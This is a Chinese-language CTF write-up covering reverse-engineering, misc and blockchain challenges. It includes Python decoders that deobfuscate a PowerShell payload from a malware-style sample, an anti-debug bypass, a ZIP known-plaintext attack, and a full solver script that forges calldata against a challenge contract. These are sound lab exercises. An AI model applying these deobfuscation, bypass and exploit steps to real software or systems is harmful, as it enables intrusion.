    651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653,
    658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702,
    700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654,
    702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642,
    633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712,
    711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696,
    647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633,
    640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640,
    640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706,
    711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699,
    716, 717, 715, 706, 711, 704, 641, 652, 642
]

# --- 执行解码并打印结果 ---

decoded_object_name = decode_string_from_numbers(array_for_object)
decoded_payload_command = decode_string_from_numbers(array_for_payload)

print("--- 解码结果 ---")
print("\n[+] 解码后的ActiveX对象名称:")
print(decoded_object_name)

print("\n[!] 解码后的恶意Payload (PowerShell命令):")
print(decoded_payload_command)
print("\n--- 分析结束 ---")

又得到一串powershell代码,里面有串加密的hex值,再给ai去处理一下

01e93253-6320-4644-a656-f1cfdc8e3ffd

解出来有个图片,访问一下下载下来,010看看

10c6d647-5e4e-4452-afed-c26c46ee5243

发现是被处理过的powershell代码

81ac7a90-2e95-4ee4-9808-887617c82653

丢给gemini让他写个分析的脚本

import re


def parse_obfuscated_ps1(file_path):
    """
    解析经过混淆的 PowerShell 脚本文件,并提取其隐藏的真实代码。

    参数:
    file_path (str): s.ps1 文件的路径。

    返回:
    str: 解码后的 PowerShell 脚本内容,如果解析失败则返回错误信息。
    """
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except Exception as e:
        return f"错误:无法读取文件 {file_path}。原因: {e}"

    # 1. 根据脚本逻辑,定义从变量名到对应数字(字符串形式)的映射
    # 这些值是通过分析 s.ps1 文件第一部分的变量赋值得到的
    # $u=0, $b=1, $q=2, $z=3, $o=4, $d=5, $h=6, $e=7, $i=8, $l=9, $x=6
    var_map = {
        'u': '0', 'b': '1', 'q': '2', 'z': '3', 'o': '4',
        'd': '5', 'h': '6', 'e': '7', 'i': '8', 'x': '6', 'l': '9'
    }

    # 2. 从完整脚本中定位并提取核心载荷部分
    # 载荷是以 "$g" 开头,由 "+" 连接的大量字符串
    match = re.search(r'\(\$g(.+)\)', content, re.DOTALL)
    if not match:
        return "错误:未能在文件中找到预期的混淆载荷格式。"

    payload = match.group(1)

    # 3. 移除加号,并按 "$g" 分割成代表各个字符编码的块
    payload = payload.replace('+', '')
    char_code_chunks = payload.split('$g')

    # 4. 解码每个块
    decoded_script = ""
    # 第一个块是空的,从第二个开始遍历
    for chunk in char_code_chunks:
        if not chunk:
            continue

        num_str = ""
        # 将块中的每个字符变量替换为其对应的数字
        for char_var in chunk:
            num_str += var_map.get(char_var, '')

        if num_str:
            try:
                # 将数字字符串转换为整数,再通过 chr() 转换为对应的 ASCII 字符
                char_code = int(num_str)
                decoded_script += chr(char_code)
            except (ValueError, OverflowError):
                # 如果转换失败,则忽略这个块
                pass

    return decoded_script


# --- 使用示例 ---
# 请将 's.ps1' 替换为您文件的实际路径
file_to_parse = 's.ps1'
deobfuscated_code = parse_obfuscated_ps1(file_to_parse)

print("--- 解码后的 PowerShell 脚本 ---")
print(deobfuscated_code)

解出来就有了

4d2342a4-cc78-4e0f-9b02-864e1bbf7333

obfusheader.h

知识点省流

动调跟踪数据流

WP

先去花

然后开始分析,搜索字符串找到输入的地方

daa967b0-4b57-4ada-ac15-68cf2ad841c3

定位到函数中,打上硬件断点,开始调试

9e4b2a15-5bfd-4fc3-81e0-bfec14401c64

简单测试一下可以知道输入长度是40,0x28

3cfa4577-3b7b-41f4-bef3-b96a44e20c8e

3b35e68f-8ede-4179-9e93-0d4dd30faff4

往下走,这里计算了字符串长度

b9088388-2453-4097-8223-ef3664c59ec4

接着往下走,这里函数进行了异或

8cc0ca11-ccc1-4699-ab37-d8b999184bd3

接着往下走,提取密文

62c18f4a-63d9-49d4-ae90-b4c88ef71fa6

然后拿厨子跟我们输入的a解异或得到异或的key

5442f61d-96af-468e-9a1d-93f42a4dcdd2

接着调试,往下走,这里函数执行了一波高低位互换取反

a3820d16-eda8-45f2-b4f2-06b405a97dec

接着走,直到程序输出加密完成,这里就是我们要的密文

37fc6758-478c-461f-bf9c-25c311888155

提出密文,搓脚本还原,将前面的高低位互换取反逆向回去就好

enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8D,0x03,0xCF,0x00,0x39,0x41,0xBE,0x47,0x2D,0x1C,0x48,0xFD,0xFA,0x7F,0x0F,0xD0,0xFA,0xFA,0x68,0x83,0xFD,0x73,0xA8,0x06,0x1E,0xCC,0x7B,0x42,0xAC,0x67,0xBB,0xDD,0x1B]

def decode_byte(b):
    b = ~b & 0xFF                      # 取反并确保保持8位
    return ((b >> 4) | (b << 4)) & 0xFF  # 高低4位交换

result = [decode_byte(b) for b in enc]
print(result)

最后在厨子那再处理一下,然后用前面的key去异或即可得到flag

36980f7f-3795-42ae-be3f-eeb9cde69f3f

Qt_Creator

知识点省流

qt程序逆向

WP

简单的qt逆向

装好之后拿ida分析,发现调试就退出 应该是有反调试

字符串搜索找到debugger,定位到exit的部分,将他force jump一下就能绕过反调试

3201694a-2435-400e-9e27-360151ec88c6

进程序里走一下流程,发现注册码错了之后会直接退出程序,所以我们可以直接定位exit的函数调用的位置,去确定注册码判定的函数在哪里
简单找一下就能确定这里是关键函数,其中进行了字符串的比对判断

41122bcb-41a4-44ae-8cc0-4fb8d5ca8111

在v23处打断点后动调,输入内容并确认后,跳转到v23对应的地址,然后数据类型转换

双击进入即可看到下面的flag

7be93ccc-b200-409f-b2ed-abec17a974c8

Misc

v我50(R)MB

知识点省流

奇妙的用户侧数据泄露(?)

WP

根据题目的意思就是留了张原图没删干净,可以在用户侧获取,那么考虑的就是前端url、network是否有多余的请求、有没有本地缓存什么的

看了看都不行

遂抓包,抓那个图片的链接

一抓发现抓到的就是完整的图,导出来就行(很神奇不知道什么原理)

提前放出附件

知识点省流

压缩包明文攻击-tar变种

WP

给了个store存储的加密zip

明文攻击,里面是个tar,010分析一下发现有很多0,直接拿0来做明文,秒了

f5babd42-5a7b-4c14-9fd0-152a3168fe06

PNG Master

知识点省流

png考点小串烧

WP

给了png

lsb藏了一段flag

010图片末尾藏了一段flag

最后的idat块提取出来zlib解压得到一个压缩包,里面两个文档

其中一个里面有零宽字节,解出来提示是文件名xor

拿secret跟里面的内容异或得到第三段flag

Blockchain

生蚝的宝藏

知识点省流

有点小套的区块链源码反汇编解密

WP

没有给代码,只有靶机,连接后选项1创建账号,2生成合约

梭个脚本去读取合约中的字节码

import requests
import json

RPC_URL = "http://106.15.138.99:8545/"
TX_HASH = "0xc73e1c61aecf5846967e7b5c5b247368ee8e10f6e983909ed49c8c595d46678f"
CONTRACT_ADDR = "0xb060167a0935147ec47d42c063D598F9D1bdd930"
TOKEN = "v4.local.bNTzLDPFWah18XcBPIxDtYcu28miMffUqUrVOLqJLbcm8fI_K_fUIGHArL-GDxoOK7UryKCbrBtV0AC5gW1RfEdvJLhSoPfKBEA9s7mQyzf7TLRoEC0hGsb4b9aI4zijrGjP1x27o4c-7oceSmbWtGUWj1oZtKkIjpupz49RZ0OjOw.T3lzdGVyVHJlYXN1cmU"

headers = {"Authorization": f"Bearer {TOKEN}"}

# Slot 0
payload_storage = {
    "jsonrpc": "2.0",
    "method": "eth_getStorageAt",
    "params": [CONTRACT_ADDR, "0x0", "latest"],
    "id": 1
}
slot_0 = requests.post(RPC_URL, json=payload_storage).json().get('result')
print("Slot 0:", slot_0)


def get_tx():
    payload = {
        "jsonrpc": "2.0",
        "method": "eth_getTransactionByHash",
        "params": [TX_HASH],
        "id": 1
    }
    try:
        print("尝试请求交易信息...")
        resp = requests.post(RPC_URL, json=payload, headers=headers, timeout=10).json()
        data = resp.get('result')
        if data is None:
            print("无返回内容:", json.dumps(resp, indent=2))
        else:
            # 打印 json 格式内容
            print(json.dumps(data, indent=2) if not isinstance(data, str) else data)
        return data
    except Exception as e:
        print("请求失败:", e)


tx_content = get_tx()

得到一串input数据,看开头6080确定是合约字节码,同时丢给厨子解一下

image-20250818023412652

得到半个flag说是(同时这串flag的hex值正好是46位,这是伏笔)

image-20250818023504167

反汇编一下合约字节码 https://app.dedaub.com/decompile

上面input的内容给的是字节码,用反编译网站反编译一下得到了伪代码

// Decompiled by library.dedaub.com
// 2025.08.15 13:23 UTC
// Compiled using the solidity compiler version 0.8.9

// Data structures and variables inferred from the use of storage instructions
uint256[] ___function_selector__; // STORAGE[0x0]
bool stor_1_0_0; // STORAGE[0x1] bytes 0 to 0

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__() public payable { 
    MEM[64] = 128;
    require(!msg.value);
    MEM[MEM[64]:MEM[64] + this.code.size - 2032] = this.code[2032:2032 + this.code.size - 2032];
    MEM[64] = MEM[64] + (this.code.size - 2032);
    require(MEM[64] + (this.code.size - 2032) - MEM[64] >= 32);
    require(MEM[MEM[64]] <= uint64.max);
    require(MEM[64] + MEM[MEM[64]] + 31 < MEM[64] + (this.code.size - 2032));
    v0 = MEM[MEM[64] + MEM[MEM[64]]];
    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    require(!((MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < MEM[64]) | (MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    MEM[64] = MEM[64] + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & v0 + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
    require(MEM[64] + MEM[MEM[64]] + v0 + 32 <= MEM[64] + (this.code.size - 2032));
    v1 = v2 = 0;
    while (v1 < v0) {
        MEM[32 + (v1 + MEM[64])] = MEM[32 + (v1 + (MEM[64] + MEM[MEM[64]]))];
        v1 += 32;
    }
    if (v1 > v0) {
        MEM[MEM[64] + v0 + 32] = 0;
    }
    require(v0 <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v3 = new bytes[](v0);
    if (v0) {
        CALLDATACOPY(v3.data, msg.data.length, v0);
    }
    v4 = v5 = 0;
    while (v4 < v0) {
        require(v6.length, Panic(18)); // division by zero
        require(v4 % v6.length < v6.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        require(v4 < v0, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        require(v4 < v3.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        MEM8[32 + v4 + v3] = (byte(bytes1((MEM[32 + v4 + MEM[64]] >> 248 << 248 >> 248 ^ v6[v4 % v6.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
        require(v4 != uint256.max, Panic(17)); // arithmetic overflow or underflow
        v4 += 1;
    }
    v7 = v8 = v3.data;
    v9 = v10 = ___function_selector__.length >> 1;
    if (!(___function_selector__.length & 0x1)) {
        v9 = v11 = v10 & 0x7f;
    }
    require(___function_selector__.length & 0x1 != v9 < 32, Panic(34)); // access to incorrectly encoded storage byte array
    v12 = v13 = ___function_selector__.data;
    if (v3.length) {
        if (31 < v3.length) {
            ___function_selector__.length = 1 + (v3.length + v3.length);
            if (v3.length) {
                while (v8 + v3.length > v7) {
                    STORAGE[v12] = MEM[v7];
                    v7 += 32;
                    v12 += 1;
                }
            }
        } else {
            ___function_selector__.length = v3.length + v3.length | bytes31(MEM[v8]);
        }
    } else {
        ___function_selector__.length = 0;
    }
    while (v13 + (31 + v9 >> 5) > v12) {
        STORAGE[v12] = 0;
        v12 += 1;
    }
    stor_1_0_0 = 0;
    MEM[0:1113] = 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9b9b9a1c1b331ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea26469706673582212200a7575430b832102af3c40db1c12a0d56fa049f68938ec701ae34a9d6e24662b64736f6c63430008090033;
    return MEM[0:1113];
}

上面的代码中还有一层字节码,接着反汇编,得到下面最关键的部分

// Decompiled by library.dedaub.com
// 2025.08.15 16:53 UTC
// Compiled using the solidity compiler version 0.8.9

// Data structures and variables inferred from the use of storage instructions
uint256[] array_0; // STORAGE[0x0]
bool _isSolved; // STORAGE[0x1] bytes 0 to 0

function fallback() public payable { 
    revert();
}

function 0x5cc4d812(bytes varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < msg.data.length);
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](varg0.length);
    require(!((v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0) | (v0 + (63 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & varg0.length + 31) & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    require(v0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v1 = new bytes[](v0.length);
    if (v0.length) {
        CALLDATACOPY(v1.data, msg.data.length, v0.length);
    }
    v2 = v3 = 0;
    while (v2 < v0.length) {
        require(v4.length, Panic(18)); // division by zero
        require(v2 % v4.length < v4.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        require(v2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        require(v2 < v1.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        MEM8[32 + v2 + v1] = (byte(bytes1((v0[v2] >> 248 << 248 >> 248 ^ v4[v2 % v4.length] >> 248 << 248 >> 248) << 248), 0x0)) & 0xFF;
        require(v2 != uint256.max, Panic(17)); // arithmetic overflow or underflow
        v2 += 1;
    }
    v5 = new uint256[](v1.length + v5.data - MEM[64] - 32);
    v6 = v7 = 0;
    while (v6 < v1.length) {
        MEM[v6 + v5.data] = v1[v6];
        v6 += 32;
    }
    if (v6 > v1.length) {
        MEM[v5.data + v1.length] = 0;
    }
    MEM[64] = v1.length + v5.data;
    v8 = v5.length;
    v9 = v5.data;
    v10 = new uint256[](v11 - MEM[64] - 32);
    v11 = v12 = 0;
    v13 = v14 = array_0.length >> 1;
    if (!(array_0.length & 0x1)) {
        v13 = v15 = v14 & 0x7f;
    }
    require(array_0.length & 0x1 != v13 < 32, Panic(34)); // access to incorrectly encoded storage byte array
    if (!(array_0.length & 0x1)) {
        MEM[v10.data] = bytes31(array_0.length);
        v11 = v16 = v10.data + v13;
    } else if (array_0.length & 0x1 == 1) {
        v17 = v18 = array_0.data;
        v19 = v20 = 0;
        while (v19 < v13) {
            MEM[v19 + v10.data] = STORAGE[v17];
            v17 += 1;
            v19 += 32;
        }
        v11 = v21 = v10.data + v13;
    }
    v22 = v10.length;
    v23 = v10.data;
    require(keccak256(v10) == keccak256(v5), Error('Wrong Treasure'));
    _isSolved = 1;
}

function isSolved() public payable { 
    return _isSolved;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x5cc4d812 == function_selector >> 224) {
            0x5cc4d812();
        } else if (0x64d98f6e == function_selector >> 224) {
            isSolved();
        }
    }
    fallback();
}

经过摸索,大概确定下来就是,我们需要传入一个数据,他跟代码中的某个key异或后,要等于合约中array_0的值,这样issolved就可以变为1了

问题在于key是什么,array_0是可以写脚本输出的,得到了key就可以将需要传入的数据给逆推出来

经过各种尝试和ai拷打都没有结果

后面我注意到两点

一个是array_0的长度是46字节,而前面提到的这个字节码中的hex值也是46字节(对这串hex再转成hex)

ee8c4180-94db-4553-ab00-c8a177d950b3

太巧了这个,所以我根据伪代码中的异或逻辑,将这两个值异或了,结果没想到居然出了明文

43c6223b-010c-452e-8dc3-cfc4b459f8a4

这时候我以为这半串flag的hex的hex值就是key了,结果试了下还是不行

过了会又想到可能真正的key是'key_77486f5f'

试了一下就出了,又被套娃到了

exp如下,需要手动去水龙头那给一下eth,gemini和claude都给出了能提交的脚本,下面这版是claude的

#!/usre/bin/env python3
import socket
import re
import time
import requests
from web3 import Web3
from eth_account import Account
from Crypto.Hash import keccak
import json

# Configuration
RPC_URL = "http://106.15.138.99:8545/"
FAUCET_URL = "http://106.15.138.99:8080/"
NC_HOST = "challenge.xinshi.fun"
NC_PORT = 44088


def connect_nc(host, port):
    """Connect to NC server"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    return s


def send_and_receive(sock, message, timeout=2):
    """Send message and receive response"""
    sock.send((message + '\n').encode())
    time.sleep(timeout)
    data = b''
    sock.settimeout(0.5)
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
        except socket.timeout:
            break
    return data.decode('utf-8', errors='ignore')


def create_account():
    """Step 1: Create account and get token"""
    print("[*] Creating account...")
    sock = connect_nc(NC_HOST, NC_PORT)

    # Receive initial message
    initial = send_and_receive(sock, "", timeout=1)
    print(initial)

    # Send choice 1
    response = send_and_receive(sock, "1")
    print(response)

    # Parse deployer account and token
    deployer_match = re.search(r'deployer account: (0x[a-fA-F0-9]{40})', response)
    token_match = re.search(r'token: ([^\s]+)', response)

    if not deployer_match or not token_match:
        raise Exception("Failed to parse account info")

    deployer_address = deployer_match.group(1)
    token = token_match.group(1)

    sock.close()

    print(f"[+] Deployer Address: {deployer_address}")
    print(f"[+] Token: {token}")

    return deployer_address, token


def get_faucet(address, token):
    """Get test ETH from faucet"""
    print(f"[*] Getting ETH from faucet for {address}...")

    headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json'
    }

    data = {
        'address': address
    }

    try:
        response = requests.post(FAUCET_URL, headers=headers, json=data)
        print(f"[+] Faucet response: {response.status_code}")
        if response.status_code == 200:
            print("[+] Successfully got ETH from faucet")
        else:
            print(f"[!] Faucet request may have failed: {response.text}")
    except Exception as e:
        print(f"[!] Faucet error: {e}")

    # Wait for transaction to be mined
    time.sleep(5)


def wait_for_eth(address, min_balance=0.001, timeout=200):
    """Wait for ETH to arrive in account"""
    print(f"[*] Waiting for ETH in account {address}...")
    print(f"[*] Minimum balance required: {min_balance} ETH")
    print(f"[*] Timeout: {timeout} seconds")

    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    start_time = time.time()

    while time.time() - start_time < timeout:
        try:
            balance = w3.eth.get_balance(address)
            balance_eth = w3.from_wei(balance, 'ether')

            if balance_eth >= min_balance:
                print(f"[+] Balance found: {balance_eth} ETH")
                return True
            else:
                elapsed = int(time.time() - start_time)
                print(f"[*] Checking... Current balance: {balance_eth} ETH | Time elapsed: {elapsed}s", end='\r')
                time.sleep(2)
        except Exception as e:
            print(f"[!] Error checking balance: {e}")
            time.sleep(2)

    print(f"\n[!] Timeout: No sufficient ETH received after {timeout} seconds")
    return False


def deploy_contract(token):
    """Step 2: Deploy contract"""
    print("[*] Deploying contract...")
    sock = connect_nc(NC_HOST, NC_PORT)

    # Receive initial message
    initial = send_and_receive(sock, "", timeout=1)

    # Send choice 2
    response = send_and_receive(sock, "2")

    # Send token
    response = send_and_receive(sock, token, timeout=5)
    print(response)

    # Parse contract address
    contract_match = re.search(r'contract address: (0x[a-fA-F0-9]{40})', response)
    tx_match = re.search(r'transaction hash: (0x[a-fA-F0-9]{64})', response)

    if not contract_match:
        # Check for error message
        if "send test ether" in response.lower():
            print("[!] Insufficient ETH for deployment")
        raise Exception("Failed to parse contract address")

    contract_address = contract_match.group(1)
    tx_hash = tx_match.group(1) if tx_match else None

    sock.close()

    print(f"[+] Contract Address: {contract_address}")
    print(f"[+] Transaction Hash: {tx_hash}")

    return contract_address, tx_hash


def solve_challenge(contract_address, deployer_address, token):
    """Solve the CTF challenge"""
    print(f"[*] Solving challenge for contract {contract_address}...")

    # Connect to Web3
    w3 = Web3(Web3.HTTPProvider(RPC_URL))

    # Create a new account for solving (since we don't have the deployer's private key)
    solver_account = Account.create()
    solver_address = solver_account.address
    solver_private_key = solver_account.key.hex()

    print(f"[+] Solver Address: {solver_address}")
    print(f"[+] Solver Private Key: {solver_private_key}")

    # Get ETH for solver account from faucet
    print("[*] Getting ETH for solver account...")
    get_faucet(solver_address, token)

    # Wait for ETH to arrive
    if not wait_for_eth(solver_address, min_balance=0.001, timeout=160):
        print("[!] Failed to get ETH for solver account")
        return False

    # Get the storage value at slot 0 (array_0)
    print("[*] Reading contract storage...")

    # Read storage slot 0 to get array length and data
    slot0 = w3.eth.get_storage_at(contract_address, 0)
    print(f"[+] Storage slot 0: {slot0.hex()}")

    # Parse the array data based on Solidity storage layout
    array_length_raw = int.from_bytes(slot0, 'big')

    if array_length_raw & 1 == 0:
        # Short array (length < 32), data is in slot 0
        array_length = (array_length_raw) >> 1  # Remove the encoding
        print(f"[+] Short array, length: {array_length}")

        # For short arrays, the length is encoded in the last byte
        # and the data fills the rest of the slot from the beginning
        actual_length = slot0[-1] >> 1  # Last byte contains length*2
        array_data = slot0[:actual_length]
        print(f"[+] Actual array length from last byte: {actual_length}")
        print(f"[+] Array data: {array_data.hex()}")
    else:
        # Long array (length >= 32)
        array_length = (array_length_raw - 1) // 2
        print(f"[+] Long array, length: {array_length}")

        # Calculate storage slot for array data
        slot_hash = Web3.keccak(b'\x00' * 32)

        # Read array data from storage
        array_data = b''
        num_slots = (array_length + 31) // 32

        for i in range(num_slots):
            slot_index = int.from_bytes(slot_hash, 'big') + i
            slot_data = w3.eth.get_storage_at(contract_address, slot_index)
            array_data += slot_data

        array_data = array_data[:array_length]
        print(f"[+] Array data: {array_data.hex()}")

    # The XOR key from the decompiled code
    # Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
    # This is a 13-byte key
    xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值

    print(f"[+] XOR key: {xor_key.hex()}")
    print(f"[+] Stored array (plaintext): {array_data.hex()}")

    # The contract expects us to send the encrypted data
    # So we need to XOR the stored plaintext with the key to get the encrypted version
    encrypted_treasure = bytearray()
    for i in range(len(array_data)):
        encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])

    print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")

    # Prepare the function call
    # Function selector for 0x5cc4d812
    function_selector = '5cc4d812'  # Remove 0x prefix

    # ABI encode the bytes parameter
    # Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
    offset = (32).to_bytes(32, 'big')  # Offset to dynamic data
    length = len(encrypted_treasure).to_bytes(32, 'big')  # Length of bytes

    # Pad data to multiple of 32 bytes
    padded_data = bytes(encrypted_treasure)
    if len(padded_data) % 32 != 0:
        padded_data += b'\x00' * (32 - len(padded_data) % 32)

    # Construct call data
    call_data = bytes.fromhex(function_selector) + offset + length + padded_data

    print(f"[+] Call data: {call_data.hex()}")

    # Build transaction
    try:
        nonce = w3.eth.get_transaction_count(solver_address)
        gas_price = w3.eth.gas_price

        transaction = {
            'to': contract_address,
            'from': solver_address,
            'data': call_data,
            'gas': 500000,
            'gasPrice': gas_price,
            'nonce': nonce,
            'chainId': w3.eth.chain_id
        }

        # Sign and send transaction
        signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)

        # Use the correct attribute name for different versions of eth-account
        try:
            raw_tx = signed_tx.rawTransaction
        except AttributeError:
            raw_tx = signed_tx.raw_transaction

        tx_hash = w3.eth.send_raw_transaction(raw_tx)

        print(f"[+] Transaction sent: {tx_hash.hex()}")

        # Wait for transaction receipt
        print("[*] Waiting for transaction to be mined...")
        receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)

        if receipt.status == 1:
            print("[+] Transaction successful!")
            print(f"[+] Gas used: {receipt.gasUsed}")

            # Check if isSolved() returns true
            # Function selector for isSolved(): 0x64d98f6e
            result = w3.eth.call({
                'to': contract_address,
                'data': '0x64d98f6e'
            })

            is_solved = int.from_bytes(result, 'big') == 1
            print(f"[+] isSolved() = {is_solved}")

            return is_solved
        else:
            print(f"[!] Transaction failed! Status: {receipt.status}")
            print(f"[!] Gas used: {receipt.gasUsed}")

            # Try to get revert reason
            try:
                w3.eth.call(transaction, receipt.blockNumber)
            except Exception as revert_error:
                print(f"[!] Revert reason: {revert_error}")

            return False

    except Exception as e:
        print(f"[!] Transaction error: {e}")
        import traceback
        traceback.print_exc()
        return False


def get_flag(token):
    """Step 3: Get flag"""
    print("[*] Getting flag...")
    sock = connect_nc(NC_HOST, NC_PORT)

    # Receive initial message
    initial = send_and_receive(sock, "", timeout=1)

    # Send choice 3
    response = send_and_receive(sock, "3")

    # Send token
    response = send_and_receive(sock, token, timeout=3)
    print(response)

    sock.close()

    # Parse flag
    flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
    if flag_match:
        flag = flag_match.group(1)
        print(f"\n[+] FLAG: {flag}")
        return flag
    else:
        print("[!] Flag not found in response")
        return None


def main():
    """Main function to run the entire exploit"""
    print("=" * 60)
    print("CTF Challenge Solver")
    print("=" * 60)

    try:
        # Step 1: Create account and get token
        deployer_address, token = create_account()

        # Try to get ETH from faucet
        get_faucet(deployer_address, token)

        # Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
        print("\n[*] Waiting for ETH to arrive in deployer account...")
        print("[*] You can manually send ETH or wait for faucet...")

        if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
            print("[!] Failed to get sufficient ETH. Exiting...")
            return

        print("\n[+] ETH received! Proceeding with deployment...")

        # Step 2: Deploy contract
        contract_address, tx_hash = deploy_contract(token)

        # Wait for deployment
        time.sleep(5)

        # Step 3: Solve challenge
        solved = solve_challenge(contract_address, deployer_address, token)

        if solved:
            # Step 4: Get flag
            flag = get_flag(token)
            print("\n[+] Challenge completed successfully!")
        else:
            print("\n[!] Failed to solve challenge")

    except Exception as e:
        print(f"\n[!] Error: {e}")
        import traceback
        traceback.print_exc()


if __name__ == "__main__":
    main()

qwq